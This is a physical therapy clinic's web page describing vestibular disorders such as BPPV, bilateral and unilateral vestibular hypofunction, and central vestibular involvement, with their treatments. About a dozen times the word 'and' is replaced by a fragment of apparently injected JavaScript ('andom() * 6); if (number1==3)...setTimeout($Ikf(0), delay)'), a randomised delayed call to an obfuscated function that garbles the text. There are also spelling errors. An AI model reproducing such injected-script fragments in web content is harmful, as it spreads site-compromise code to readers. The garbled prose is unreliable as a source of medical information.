CONDITIONS

Vertigo & Vestibular Rehabilitation

Benign Positional Vertigo (BPPV) is the most common cause of dizziness in people over the age of 50. This is one of many conditions that affects the vestibular system andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and results in dizziness. Inside the inner ear is an apparatus that contains otoconia (crystals). Under normal conditions the crystals are contained in the otolith organs (saccules andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and utricles). Under abnormal conditions the crystals are displaced into either the cupula or semicircular canals causing transient spinning or horizontal movement of objects in the room. In some cases, individuals experience nausea, vomiting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and persistent dizziness even beyond provocative positions.

Treatment

Canalith Repositioning Manuevers

Bilateral Vestibular Hypofuncton

 PT Works - Pediatric Therapist - Pediatric Physical Therapy - Pediatrician

Mostly commonly occurs as a result of ototoxicity. One can acquire this from the use of antibiotics such as gentamicin andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and streptomycin. The antibiotics build up on the hair cells within the inner ear long after one stops consuming the medication. One can also develop Bilateral Vestibular Hypofunction from meningitis, autoimmune disorders, head trauma andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tumors on cranial nerve VIII. The symptoms include dysequillibrium, decreased visual acuity with head movement, gait ataxia andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and blurred vision. Some impairments can be permanent.

Treatment

Treatment includes oculomotor exercises, gaze stabilization exercises, habituation exercises, balance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gait training. It may take up to 2 years for symptoms to resolve

Unilateral Vestibular Hypofunction

Occurs as a result of insult to the peripheral vestibular system which is made up of the labyrinth, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vestibular nerve. It occurs as a result of trauma, viral insult, decreased receptors or vascular events. The symptoms include blurred vision, postural instability, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dysequillibrium.

Treatment

Unilateral Vestibular Hypofunction: Treatment includes gaze stabilization exercises, habituation exercises andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and balance training. Recovery usually occurs 6-8 weeks following initiation of exercises as instructed by a trained physical therapist.

Central Vestibular Involvement

Is the most severe vestibular pathology. It results in vertical nystagmus (pendular eye movement in a vertical fashion). People with central involvement will present with vertigo (an illusion of movement) that may never fully resolve. Central lesions that affect the vestibular nuclei will result in lateropulsion, head tilt andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and visual perception difficulties.

Treatment

Treatment includes habituation exercise, gait andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and balance training.

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